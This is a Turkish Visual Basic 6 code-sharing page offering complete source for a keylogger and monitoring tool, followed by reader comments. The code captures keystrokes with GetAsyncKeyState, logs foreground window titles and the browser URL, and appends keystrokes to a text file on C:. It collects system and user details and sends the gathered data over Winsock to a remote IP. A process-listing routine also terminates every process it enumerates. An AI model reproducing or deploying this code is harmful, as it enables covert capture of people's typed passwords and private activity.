Favorilerine Ekle | Giriş Sayfan Yap | Tavsiye Et

 

Kurs Tanıtım Sayfası | Süper Üye Kimdir? | Menü Tasarımı Konulu Örnek Ders
Kod İndir| Hazır Kodlar | Makaleler| İpuçları | VB .NET Kursu | Dersler | Forum | Alt Bölümler | Servisler
    Merhaba Misafir
    anasayfa » visual basic hazır kodlar » iki Pc arasında Klavye ve Bağlantı hareketlerinizi izleyen ve kaydeden bir çalışma
Üye Girişi
Kullanıcı Adı:  
Şifre : 
Kaydet ?
Siteden tam olarak faydalanabilmek için üye olmalısınız.
Unuttuğunuz şifrenizi öğrenebilmek için kayıt sırasında verdiğiniz Hatırlatma Cevabı'nı bilmeniz gereklidir.
Şifre hatırlatma işlevini sadece 3 defa kullanma hakkınız vardır.
Kullanıcı adını ve şifresini unutan üyelere email ile yardım verilmez.

Aktivasyon Gelmedi mi?Aktivasyon mesajınız email adresinize gelmedi mi?
Buraya tıklayarak bir kez daha aktivasyon mesajı gönderilmesini sağlayabilirsiniz.
Lütfen email hesabınızın BULK ve SPAM klasörlerini de kontrol ediniz.
Rastgele Makale

Yeni Form Eklemek

Yazar: nilist
Formunuza bir tane command1 butonu ekleyip kodu ekleyiniz..


Webmasterlar
Sitenize Ekleyin!
Sitenizde "Son Eklenen 10 Visual Basic Yazısı"'nı göstermek ve içeriğini zenginleştirmek için buraya tıklayınız.

Vbasicmaster.com'a link verin!
Aşağıdaki minik banneri sitenize eklemek için tıklayın!

Üye Sayısı:
Ziyaretçiler nerede?
Yayın № : 7547
Yayın Tar:22.08.2006
Yazar : kalimero
Hit :3404

Bu Yazarın Yazıları Sadece bu yazarın  göster
Bu Yazıyı Tavsiye Et

'Öncelikle bir form açın
've içine Microsoft Tabbed Dialog Control 6.0 (SSTab1 ) yerleştirin 3 bölümden oluşacaktır zaten
'Form_loaad olayına adlarını yazdım
'Bundan sonra aşağıdaki yazılanları uygulayın
'İsteyen arkadaşlara exe olarak gönderebilirim ekleriyle beraber
mail=kalimeroa@hotmail.com

'******************************************************************************
BİRİNCİ BÖLÜM
'Bilgi gönderme bölümüne
'******************************************************************************
'bir adet frame yerleştirin ve içine
'4 adet label
'label30.caption="PC Adı"
'label31.caption="Kullanıcı Adı"
'label32.caption="Local İp"
'label33.caption="Uzak İp"
'----------------------
'4adet textbox yerleştirin ve multiline özelliğini True yapın
'text32
'text33
'txt_localip
'txtremoteip
'------------------------
'2 adet Timer
'timer31 interval 1
'timer32 interval 1500
'--------------------------
'2 adet winsock yerleştirin
'*********************************************************************
'ikinci frame yerleştirip içine
'1 adet buton
'command3
'----------------------------
'5 adet Timer yerleştirin ve interval özelliğini aşağıdaki gibi ayarlayın
'timer14 interval=50
'timer8 interval=1600
'timer9 interval=0
'timer11 interval=100
'timer12 interval=50
'-----------------------------------------
'1 adet label yerleştirin
'label24 kullanılan aktif pencerenin adını görüntülemek içIn
'------------------------------------
'2 adet textbox yerleştirin yerleştirin ve multiline özelliğini True yapın
'text6
'text7
'*********************************************************************
'Üçüncü frame yerleştirip içine
'3 adet textbox yerleştirin
'text2
'txt_chat
'txt_mesaj
'---------------------
'1 adet label
'label5
'--------------------
'1 adet Timer
'timer4 interval=300
'timer6 interval=600 Enabled özelliğini False yapın
'--------------------
şimdide formumuzun en altına
9800x1700 ebadında iki adet textbox yerleştirin
text10
text31
'**********************************************************************

İKİNCİ BÖLÜM
'**********************************************************************
'Bilgi Toplama Bölümü
'Sistem bilgileri ve Pc'de çalışan programları listeler

'bir adet frame yerleştirin ve içinede
3 adet Timer yerleştirin
timer1 interval 1000
timer3 interval 1000
timer7 interval 1 'dış ip içIn
'-----------
'1 adet winsock
'winsock1
'-----------
'1 adet ınet
'Inet1
'------------
'18 adet label yerleştirip isimlerini aşağıdaki gibi ayarlayın
label1
label2.caption="Dış İp Numarası"
label3.caption="İç İp Numarası"
label4
label5.caption="PC Adı"
label6
label7.caption="Kullanıcı Adı"
label8
label9.caption="Toplam Ram"
label10
label11.caption="Boş Ram"
label12
label13.caption="Kullanılan Ram"
label14
label15.caption="Bellek Kullanımı"
label16
label17.caption="Bağlanılan İnternet Adresi"
label20
!------------------------------------------------------------
'aynı yere
'bir adet textbox yerleştirin ki bağlanılan internet adresini okuyalım
'multiline özelliğini True yapın
'text1
'----------------------------------------------------------

'ikinci bölüMe ikinci frameyi yerleştirin ve içinede
' 2 adet label yerleştirin
'label19
'label21
!------------------------
'2 adet listbox yerleştirin
'list1 çalışan programları listelemek içIn
'list2
'------------------------
'aynı frame içine 3 adet buton ekleyin ve isimlerini aşağıdaki şekilde değiştirin
'command100.caption=Programı kapat
'command101.caption=Yenile
'command102.caption=Çıkış

'*************************************************************************************
'ÜÇÜNCÜ BÖLÜM
'************************************************************************************

'Klavye Kontrolü

'3 adet Timer yerleştirin ve ayarlayın
'timer16 interval 10
'timer17 interval 1000
'timer18 interval 1
'---------------------------
2 adet textbox yerleştirin ve multiline özelliğini True yapın
text11 klavye hareketlerini görüntülemek içIn
text12 Yapılan işlem hakkında bilgi görüntülemek içIn
'------------------------
'üçüncü bölüMe bir frame yerleştirin

'iki adet Option düğmesi ekleyin
'Option1.caption="izle ve Dosyaya yazdır"
'Option2.caption="İzle fakat Dosyaya yazmasın" olarak değiştirin

'********************************************************************************
'********************************************************************

3 adet Modül oluşturuyoruz
'-------------------------------------------
Çalışan programları görmek içIn
'Aşağıdaki kodları Modüle kopyalayın
Module1 kodu

Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal ProcessID As Long, ByVal ServiceFlags As Long) As Long
Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Declare Function TerminateProcess Lib "kernel32" (ByVal ApphProcess As Long, ByVal uExitCode As Long) As Long
Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal blnheritHandle As Long, ByVal dwAppProcessId As Long) As Long
Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As Long) As Long
Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Const MAX_PATH& = 260
Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szexeFile As String * MAX_PATH
End Type

'-------------------------------------------

Dış İp numarasını görmek içIn
'Aşağıdaki kodları Modüle kopyalayın
Module2 kodu

Function VeriAl(AnaMetin, OnMetin, ArkaMetin) 'dış ip içIn
Dim a, X, b As Long
a = InStr(1, AnaMetin, OnMetin) + Len(OnMetin)
X = InStr(a, AnaMetin, ArkaMetin)
b = X - a
VeriAl = Mid(AnaMetin, a, b)
End Function

'-------------------------------------------
'Bağlanılan İnternet adresini öğrenmek içIn
'Aşağıdaki kodları Modüle kopyalayın
Option Explicit

Public Type ProcData
AppHwnd As Long
title As String
Placement As String
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Any, ByVal lParam As Long) As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Const WM_GETTEXT = &HD
Private Const WM_GETTEXTLENGTH = &HE
Private Const GW_CHILD = 5
Private Const GW_HWNDNEXT = 2
Private Const GW_HWNDFIRST = 0

Public Function EditInfo(window_hwnd As Long) As String
Dim txt As String
Dim buf As String
Dim buflen As Long
Dim child_hwnd As Long
Dim children() As Long
Dim num_children As Integer
Dim i As Integer
buflen = 256
buf = Space$(buflen - 1)
buflen = GetClassName(window_hwnd, buf, buflen)
buf = Left$(buf, buflen)
If buf = "Edit" Then
EditInfo = WindowText(window_hwnd)
Exit Function
End If
num_children = 0
child_hwnd = GetWindow(window_hwnd, GW_CHILD)
Do While child_hwnd <> 0
num_children = num_children + 1
ReDim Preserve children(1 To num_children)
children(num_children) = child_hwnd
child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT)
Loop
For i = 1 To num_children
txt = EditInfo(children(i))
If txt <> "" Then Exit For
Next i
EditInfo = txt
End Function

Public Function WindowText(window_hwnd As Long) As String
Dim txtlen As Long
Dim txt As String
WindowText = ""
If window_hwnd = 0 Then Exit Function
txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0)
If txtlen = 0 Then Exit Function
txtlen = txtlen + 1
txt = Space$(txtlen)
txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, ByVal txt)
WindowText = Left$(txt, txtlen)
End Function

Public Function EnumProc(ByVal app_hwnd As Long, ByVal lParam As Long) As Boolean
Dim buf As String * 1024
Dim title As String
Dim length As Long
length = GetWindowText(app_hwnd, buf, Len(buf))
title = Left$(buf, length)
If Right$(title, 30) = " - Microsoft Internet Explorer" Then
Form1.Text1 = EditInfo(app_hwnd)
EnumProc = 0
Else
EnumProc = 1
Form1.Text1 = "Sinyal Yok"
End If
End Function


'*************************************************************************

'Aşağıdaki kodlarıda formunuza yapıştırın

Option Explicit
Private Type MEMORYSTATUS
dwLength As Long
dwMemoryLoad As Long
dwTotalPhys As Long
dwAvailPhys As Long
dwTotalPageFile As Long
dwAvailPageFile As Long
dwTotalVirtual As Long
dwAvailVirtual As Long
End Type
Private Declare Sub GlobalMemoryStatus Lib "kernel32" (lpBuffer As MEMORYSTATUS)
Private Declare Function GetSystemMetrics Lib "user32" (ByVal nındex As Long) As Long
Private Declare Function GetVersion Lib "kernel32" () As Long
Private Declare Function GetComputerNameA Lib "kernel32" (ByVal Ipbuffer As String, nsize As Long) As Long
'AKTİF PENCERE YADA PROGRAMIN İSMİNİ Ö?RENME
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long
'klavye kontrolü
'Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
'Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Dim a(0 To 9) As String
Dim Baslik As String

Private Sub Command1_Click() 'Bağlanılan İnternet adresini kopyalama
Text4 = Text1
End Sub

Private Sub Command2_Click() 'çıkış
Dim Form As Form
For Each Form In Forms
Unload Form
Set Form = Nothing
Next Form
End
End Sub

Private Sub Command3_Click()
Dim X, y, z
X = Chr(13) + Chr(10)
'Text31 = X + List1.Text + X + "Bilgi Alınan PC'nin Tarih ve Saati : " + Label20.Caption + X + "BilgisayarAdı : " + Label6.Caption + X + "Dış İp Numarası : " + Label1.Caption + X + "İç İp Numarası : " + Label4.Caption + X + "Kullanıcı Adı : " + Label8.Caption + X + "Toplam Ram : " + Label10.Caption + X + "Boş Ram : " + Label12.Caption + X + "Kullanılan Ram : " + Label14.Caption + X + "Bellek kullanımı : " + Label16.Caption + X + "Bağlanılan Aktif Site : " + Text1 + X + "Kullanılan Aktif Pencere : " + Text6.Text + " ( " + Text7 + " )"
Text31 = X + "--> Bilgi Alınan Tarih ve Saat : " & Date & X + "--> Bilgisayar Adı : " + Label6.Caption + " Kullanıcı Adı : " + Label8.Caption + " Dış İp Numarası : " + Label1.Caption + " İç İp Numarası : " + Label4.Caption + X + "--> Bağlanılan Aktif Site : " + Text1 + X + "--> Kullanılan Aktif Pencere : " + Text6.Text + " ( " + Text7 + " )"
End Sub

Private Sub Command4_Click()
Text11.Text = ""
End Sub

Private Sub Form_Load()
Form1.caption="Yazan : Kalimero"
Yenile
Timer9.Interval = 100 'AKTİF PENCERE YADA PROGRAMIN İSMİNİ Ö?RENME
Label6.Caption = Environ("computername")
Label8.Caption = Environ("username")
Winsock31.LocalPort = 15000
Winsock31.Listen

'txt_localip.Text = Winsock31.LocalIP
'txt_remoteip.Text = Winsock31.LocalIP
'kendi Pc'nizde deneyecekseniz heriki textboxa "127.0.0.1" değerini girin
'kesintisiz bilgi akışı olur
txt_localip.Text = "127.0.0.1"
txt_remoteip.Text = "127.0.0.1"
Text32.Text = Environ("COMPUTERNAME")
Text33.Text = Environ("USERNAME")
'dış ip numarasını öğrenmek
Label21.Caption = " Şu anda " & List1.ListCount & " adet program çalışmaktadır"
Option1.Value = True 'Klavye hareketlerini dosyaya yazdırma işlemleri
'Option2.Value = True 'Klavye hareketlerini dosyaya yazdırma işlemleri

SSTab1.Top = 120
SSTab1.Left = 120
SSTab1.Height = 8410 'Yükseklik ayarı
SSTab1.Width = 10400 'Genişlik ayarı
SSTab1.Tabs = 3
SSTab1.TabsPerRow = 3
SSTab1.TabCaption(0) = "Bilgi Gönderme"
SSTab1.TabCaption(1) = "Bilgi Toplama"
SSTab1.TabCaption(2) = "Klavye Kontrolü"


End Sub

Private Sub Text10_Change()
timer32.Enabled = True
Timer8.Enabled = True
End Sub

Private Sub Text31_Change()
Timer15.Enabled = True
End Sub

Private Sub Text11_Change() '
Timer17.Enabled = True
End Sub

Private Sub Timer16_Timer()
On Error Resume Next
Dim BasilanTus As String
Dim dongu As Byte
'If GetForegroundWindow <> HandleNoSu Then
' HandleNoSu = GetForegroundWindow
If Baslik <> BasligiAl(GetForegroundWindow) Then
Baslik = BasligiAl(GetForegroundWindow)
'Else
Text11 = Text11 & " [" & Baslik & "] " & vbCrLf
End If
'End If
If GetAsyncKeyState(13) = -32767 Then
BasilanTus = vbCrLf
GoTo tusuyaz
End If
If GetAsyncKeyState(8) = -32767 Then
Text1 = Left(Text11, Len(Text11) - 1)
GoTo tusuyaz
End If
If GetAsyncKeyState(32) = -32767 Then
BasilanTus = " "
GoTo tusuyaz
End If
If GetAsyncKeyState(186) = -32767 Then
If ShiftTusu = True Then BasilanTus = ":"
If ShiftTusu = False Then BasilanTus = ";"
GoTo tusuyaz
End If
If GetAsyncKeyState(187) = -32767 Then
If ShiftTusu = True Then BasilanTus = "+"
If ShiftTusu = False Then BasilanTus = "="
GoTo tusuyaz
End If
If GetAsyncKeyState(188) = -32767 Then
If ShiftTusu = True Then BasilanTus = "<"
If ShiftTusu = False Then BasilanTus = ","
GoTo tusuyaz
End If
If GetAsyncKeyState(189) = -32767 Then
If ShiftTusu = True Then BasilanTus = "_"
If ShiftTusu = False Then BasilanTus = "-"
GoTo tusuyaz
End If
If GetAsyncKeyState(190) = -32767 Then
If ShiftTusu = True Then BasilanTus = ">"
If ShiftTusu = False Then BasilanTus = "."
GoTo tusuyaz
End If
If GetAsyncKeyState(191) = -32767 Then
If ShiftTusu = True Then BasilanTus = "?"
If ShiftTusu = False Then BasilanTus = "/"
GoTo tusuyaz
End If
If GetAsyncKeyState(192) = -32767 Then
If ShiftTusu = True Then BasilanTus = "~"
If ShiftTusu = False Then BasilanTus = "`"
GoTo tusuyaz
End If
If GetAsyncKeyState(96) = -32767 Then
If ShiftTusu = False Then BasilanTus = "0"
GoTo tusuyaz
End If
If GetAsyncKeyState(97) = -32767 Then
If ShiftTusu = False Then BasilanTus = "1"
GoTo tusuyaz
End If
If GetAsyncKeyState(98) = -32767 Then
If ShiftTusu = False Then BasilanTus = "2"
GoTo tusuyaz
End If
If GetAsyncKeyState(99) = -32767 Then
If ShiftTusu = False Then BasilanTus = "3"
GoTo tusuyaz
End If
If GetAsyncKeyState(100) = -32767 Then
If ShiftTusu = False Then BasilanTus = "4"
GoTo tusuyaz
End If
If GetAsyncKeyState(101) = -32767 Then
If ShiftTusu = False Then BasilanTus = "5"
GoTo tusuyaz
End If
If GetAsyncKeyState(102) = -32767 Then
If ShiftTusu = False Then BasilanTus = "6"
GoTo tusuyaz
End If
If GetAsyncKeyState(103) = -32767 Then
If ShiftTusu = False Then BasilanTus = "7"
GoTo tusuyaz
End If
If GetAsyncKeyState(104) = -32767 Then
If ShiftTusu = False Then BasilanTus = "8"
GoTo tusuyaz
End If
If GetAsyncKeyState(105) = -32767 Then
If ShiftTusu = False Then BasilanTus = "9"
GoTo tusuyaz
End If
If GetAsyncKeyState(106) = -32767 Then
If ShiftTusu = False Then BasilanTus = "*"
GoTo tusuyaz
End If
If GetAsyncKeyState(107) = -32767 Then
If ShiftTusu = False Then BasilanTus = "+"
GoTo tusuyaz
End If
If GetAsyncKeyState(108) = -32767 Then
If ShiftTusu = False Then BasilanTus = ""
Text1.Text = Text1.Text & vbCrLf
GoTo tusuyaz
End If
If GetAsyncKeyState(109) = -32767 Then
If ShiftTusu = False Then BasilanTus = "-"
GoTo tusuyaz
End If
If GetAsyncKeyState(110) = -32767 Then
If ShiftTusu = False Then BasilanTus = "."
GoTo tusuyaz
End If
If GetAsyncKeyState(111) = -32767 Then
If ShiftTusu = False Then BasilanTus = "/"
GoTo tusuyaz
End If
If GetAsyncKeyState(219) = -32767 Then
If ShiftTusu = True Then BasilanTus = "{"
If ShiftTusu = False Then BasilanTus = "["
GoTo tusuyaz
End If
If GetAsyncKeyState(220) = -32767 Then
If ShiftTusu = True Then BasilanTus = "|"
If ShiftTusu = False Then BasilanTus = "/"
GoTo tusuyaz
End If
If GetAsyncKeyState(221) = -32767 Then
If ShiftTusu = True Then BasilanTus = "}"
If ShiftTusu = False Then BasilanTus = "]"
GoTo tusuyaz
End If
If GetAsyncKeyState(222) = -32767 Then
If ShiftTusu = True Then BasilanTus = Chr(34)
If ShiftTusu = False Then BasilanTus = "'"
GoTo tusuyaz
End If
dongu = 48
Do Until dongu = 91
If GetAsyncKeyState(dongu) = -32767 Then
If dongu >= 65 And dongu <= 90 Then
If CapsLockTusu = True And ShiftTusu = True Then BasilanTus = LCase(Chr(dongu))
If CapsLockTusu = False And ShiftTusu = False Then BasilanTus = LCase(Chr(dongu))
If CapsLockTusu = True And ShiftTusu = False Then BasilanTus = UCase(Chr(dongu))
If CapsLockTusu = False And ShiftTusu = True Then BasilanTus = UCase(Chr(dongu))
GoTo tusuyaz
End If
If dongu >= 48 And dongu <= 57 And ShiftTusu = True Then
If ShiftTusu = True Then
BasilanTus = a(Val(Chr(dongu)))
GoTo tusuyaz
End If
End If
End If
dongu = dongu + 1
Loop
Exit Sub
tusuyaz:
Text11.Text = Text11.Text & BasilanTus
End Sub
Function BasligiAl(hwnd As Long)
Dim hWndTitle As String
hWndTitle = String(GetWindowTextLength(hwnd), 0)
GetWindowText hwnd, hWndTitle, (GetWindowTextLength(hwnd) + 1)
BasligiAl = hWndTitle
End Function
Public Sub tusuyaz()
Text11.Text = Text11 '& BasilanTus
Text11.SelLength = Len(Text1)
End Sub
Public Function ShiftTusu() As Boolean
ShiftTusu = CBool(GetAsyncKeyState(vbKeyShift))
End Function
Public Function CapsLockTusu() As Boolean
CapsLockTusu = CBool(GetKeyState(vbKeyCapital) And 1)
End Function

Private Sub Timer17_Timer()
Open "C:/Klavye Hareketleri.txt" For Append As #5
Dim strGirisMetni
strGirisMetni = "Tarih ve Saat : " & Date & " " & Time & Chr(13) + Chr(10) + Text11.Text & vbCrLf
'' VbCrLf (carriage Return And linefeed) değişmezi bir satır atlayıp satır başına gider ve yazma işlemi o yerden devam eder
Print #5, strGirisMetni
Close #5
Timer17.Enabled = False
End Sub

Private Sub Text6_Change()
Text7.Text = Text6.Text
End Sub

Private Sub Timer1_Timer() 'Ram ve bellek durumunu öğrenmek içIn
Cls
Dim m As MEMORYSTATUS
GlobalMemoryStatus m
Dim X, y, z, q
X = m.dwTotalPhys / 1024 / 1024 & " MB"
Label10.Caption = X
y = m.dwAvailPhys / 1024 / 1024 & " MB"
Label12.Caption = y
Label14.Caption = (m.dwTotalPhys / 1024 / 1024) - (m.dwAvailPhys / 1024 / 1024) & " MB"
q = "% " & ((100) - m.dwMemoryLoad) & " Boş "
Label16.Caption = ("% " & m.dwMemoryLoad & " Dolu ") & q
End Sub

Private Sub Timer10_Timer()
cmd_baglan.Value = True
Timer10.Enabled = False
End Sub

Private Sub Timer11_Timer() 'Pc'deki bazı oyunları tanı
If Text6 = "Solitaire" Then
Text7 = "Fal Açma Kağıt Oyunu Oynanıyor"

End If
If Text6 = "FreeCell" Then
Text7 = "Kağıt Oyunu Oynanıyor"

End If
If Text6 = "FreeCell Oyun #28941 ( )" Then
Text7 = "İskambil Kağıt Oyunu Oynanıyor"

End If
If Text6 = "Spider" Then
Text7 = "İskambil Kağıt Oyunu Oynanıyor"

End If
If Text6 = "Microsoft Hearts Ağı" Then
Text7 = "İnternette Masada 4'lü Kağıt Oyunu Oynanıyor"
End If
If Text6 = "Windows içIn 3D Pinball - Space Cadet" Then
Text7 = "İnternette Şans Oyunu Oynanıyor"
End If
If Text6 = "MSN Messenger" Then
Text7 = "MSN'de Chad Yapılıyor"
End If
End Sub

Private Sub Timer12_Timer() 'iki hücrede bilgi aynıysa yazdırmaya gerek yok
If Text6.Text = Text7.Text Then
Text7 = ""
End If
End Sub

Private Sub Timer14_Timer()
Command3.Value = True 'Bilgileri Birleştir
'Timer14.Enabled = False
End Sub

Private Sub Timer15_Timer()
Dim X, y, z
X = Chr(13) + Chr(10)
Text10 = X + "--> Bilgi Alınan Tarih ve Saat : " & Date & " " & Time & X + "--> Bilgisayar Adı : " + Label6.Caption + " Kullanıcı Adı : " + Label8.Caption + " Dış İp Numarası : " + Label1.Caption + " İç İp Numarası : " + Label4.Caption + X + "--> Toplam / Boş / Kullanılan Ram : " + Label10.Caption + " / " + Label12.Caption + " / " + Label14.Caption + " / " + " Bellek Durumu : " + Label16.Caption + " " + X + "--> Bağlanılan Aktif Site : " + Text1 + X + "--> Kullanılan Aktif Pencere : " + Text6.Text + " ( " + Text7 + " )"
'Text10 = Text31
Timer15.Enabled = False
End Sub

Private Sub Timer18_Timer()
If Option1.Value = True Then
Timer17.Enabled = True
Text12.Text = "Bilgiler Dosyaya kaydediliyor"
Else
If Option1.Value = False Then
Timer17.Enabled = False
Text12.Text = "Bilgiler Sadece İzleniyor Kayıt İşlemi Yapılmıyor"
End If
End If
End Sub
Private Sub Timer2_Timer()
EnumWindows AddressOf EnumProc, 0
End Sub
Private Sub Timer3_Timer() 'Pc'nin tarih ve saatini oku
Label20.Caption = Date & " " & Time
End Sub
Private Sub Command31_Click()
txt_chat = ""
End Sub
'Buttonlar hakkinda biraz bilgi vereyim
'cmd_baglan -> basildiginda connection islemlerini gosterir
'cmd_yolla -> basildiginda mesaj yollar. Biz bunun entera basilinca da olmasini saglayacagiz
'cmd_kes ->baglantiyi keser. Aslinda ben baglanma ve kesme islemlerini sadece bir buttonla yapiyorum
'ancak bunun anlasilmasinda zorluk olacagini dusundum, o yuzden iki dugme varmis gibi yazacagim
'textboxlar hakkinda biraz bilgi
'txt_remoteip-> karsi tarafin ip numarasi veya adresi
'txt_localip->sizin ip numaraniz
'txt_chat->yazilarin gorundugu ekran, richtextbox olmali ve multiline Property sini True yapin
'txt_mesaj->mesaji yazdiginiz yer
'winsock1 dinlemede olan socket ve winsock2 baglanmak icin kullanilan socket
'DIKKAT: Karsi taraf size baglandiginda onun ip numarasini textbox a yazacagiz

Private Sub cmd_baglan_Click()
Winsock32.RemoteHost = txt_remoteip.Text
Winsock32.RemotePort = 15000
Winsock32.Connect
Label35.Caption = " Karşı Bilgisayar İle Bağlantı Sağlandı"
End Sub

Private Sub Timer31_Timer() 'Bağlanılan İnternet adresini görüntüle
EnumWindows AddressOf EnumProc, 0
End Sub

Private Sub Timer32_Timer() 'alınan bilgileri uzak İp'deki pc'ye gönder
txt_mesaj = Text10.Text
cmd_yolla.Value = True
timer32.Enabled = False
End Sub

Private Sub Timer4_Timer()
Text3.Visible = True
Timer6.Enabled = True
End Sub

Private Sub Timer6_Timer()
Text3.Visible = False
Timer4.Enabled = False
Timer4.Enabled = True
End Sub

Private Sub Timer7_Timer() 'Dış İp numarasını bul
'Not:İnternet bağlantısı yoksa hata verir
Label1.Caption = (VeriAl(Inet1.OpenURL("www.whatismyip.com"), "displaycopy('", "')"))
Label4.Caption = GetIPAddress()
Exit Sub
End Sub

Private Sub Timer8_Timer() 'Toplanan bilgileri aşağıda konumu verilen dosyaya kaydet
Open "C:/Alınan Bilgiler.txt" For Append As #5
Dim strGirisMetni
'' Önce tarife giriş metnini belirleyelim:
strGirisMetni = txt_chat.Text & vbCrLf
'' Sonra da önce giriş metini ve ara vermeden (noktalı virgül...) dolma tarifimizi yazalım:
'' VbCrLf (carriage Return And linefeed) değişmezi bir satır atlayıp satır başına gider ve yazma işlemi o yerden devam eder
Print #5, strGirisMetni
Close #5
txt_chat.Text = "" 'bilginin sadece güncel olanını yazdır
Timer8.Enabled = False
End Sub

Private Sub Timer9_Timer() 'AKTİF PENCERE YADA PROGRAMIN İSMİNİ Ö?RENME
Dim MyStr As String, hwnd As Long
MyStr = String(100, Chr$(0))
hwnd = GetForegroundWindow 'aktif pencerenin handle numarasini al
GetWindowText hwnd, MyStr, 100 'aktif pencerenin görev çubugunda görünen ismini al
MyStr = Replace(MyStr, Chr(0), "")
Text6.Text = MyStr
End Sub

Private Sub Winsock31_ConnectionRequest(ByVal requestID As Long)
If Winsock31.State <> sckClosed Then Winsock31.Close
Winsock31.Accept (requestID)
txt_remoteip.Text = Winsock31.RemoteHostIP
Label35.Caption = " Bağlantı İsteği Geldi "
End Sub

Private Sub txt_mesaj_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then cmd_yolla.Value = True 'dugmeye basilmis gibi davran
End Sub

Private Sub cmd_yolla_Click()
Dim mesaj As String
Dim a
a = Chr(13) + Chr(10)
If Winsock32.State <> sckConnected Then
Winsock32.Close
Label35.Caption = "Karsi tarafa bagli degilsiniz"
Exit Sub
End If
If Trim(txt_mesaj.Text) <> "" Then
mesaj = "< " + Winsock31.LocalHostName + " > " + txt_mesaj.Text + a

Winsock32.SendData (mesaj)
txt_chat.Text = txt_chat.Text '+ mesaj
txt_mesaj.Text = "Mesaj Gönderiliyor"
Text3.BackColor = vbGreen

End If
End Sub

Private Sub Winsock31_DataArrival(ByVal bytesTotal As Long)
Dim msg_al As String
Winsock31.GetData msg_al, vbString, bytesTotal
txt_chat.Text = txt_chat.Text + msg_al
End Sub

Private Sub cmd_kes_Click()
Winsock31.Close
Winsock32.Close
Winsock31.LocalPort = 15000
Winsock31.Listen
Label35.Caption = "Bağlantı Kesildi"
Text3.BackColor = vbRed
End Sub

Const PROCESS_ALL_ACCESS = 0
Dim uProcess As PROCESSENTRY32
Dim rProcessFound As Long
Dim hSnapshot As Long
Dim szExename As String
Dim exitCode As Long
Dim myProcess As Long
Dim AppKill As Boolean
Dim appCount As Integer
Dim i As Integer
On Local Error GoTo Bitti
appCount = 0
Const TH32CS_SNAPPROCESS As Long = 2&
uProcess.dwSize = Len(uProcess)
hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)
rProcessFound = ProcessFirst(hSnapshot, uProcess)
List1.Clear
List2.Clear
Do While rProcessFound
i = InStr(1, uProcess.szexeFile, Chr(0))
szExename = LCase$(Left$(uProcess.szexeFile, i - 1))
List2.AddItem (uProcess.th32ProcessID)
List1.AddItem (szExename)
'If Right$(szExename, Len(myName)) = LCase$(myName) Then
Yenile = True
appCount = appCount + 1
myProcess = OpenProcess(PROCESS_ALL_ACCESS, False, uProcess.th32ProcessID)
AppKill = TerminateProcess(myProcess, exitCode)
Call CloseHandle(myProcess)
'End If
rProcessFound = ProcessNext(hSnapshot, uProcess)
Loop
Call CloseHandle(hSnapshot)
Bitti:
End Function
Public Sub KillProcessById(ProcessID As Long)
Dim hp&
hp& = OpenProcess(1&, -1&, ProcessID)
TerminateProcess hp&, 0&
End Sub

Private Sub Command100_Click()
Dim cvb
cvb = MsgBox(List1.List(List1.ListIndex) & vbCrLf & "Programı Kapatmak İstediğinizden Emin Misiniz?? ", vbQuestion + vbYesNo, "Confirm")
If cvb = vbYes Then
KillProcessById List2.List(List2.ListIndex)
End If
Yenile
End Sub
Private Sub Command101_Click()
Yenile
End Sub
Private Sub Command102_Click()
End
End Sub
Private Sub List1_Click()
List2.ListIndex = List1.ListIndex
End Sub
Private Sub List2_Click()
List1.ListIndex = List2.ListIndex
End Sub

'HEPSİ BU KADAR UMARIM HOŞUNUZA GİDER



onaylayan: Webmaster




Yorumlar, eklemeler ve düşünceler
        eline sağlık çok uğraşmıssın. Doğru çalışmanın %90 ı sitedeki arkadaşlara ait ama sende bize %10 tecrübe kazandırdın :)

   gokhan.bg, 27.08.2006 17:04
   eline sağlık kardeş güzel bi çalışma olmuş

   passwordhunter, 02.11.2006 10:52
   emeğine sağlık
arkadaşım herşey tamamda aşağıdaki kısımla ilgili problemim var.
’If GetForegroundWindow <> HandleNoSu Then yazan kısım ve bunu kapatan end if hata veriyor nedeni nedir acaba yardımcı olurmusunuz..

’If GetForegroundWindow <> HandleNoSu Then
’ handlenosu = GetForegroundWindow
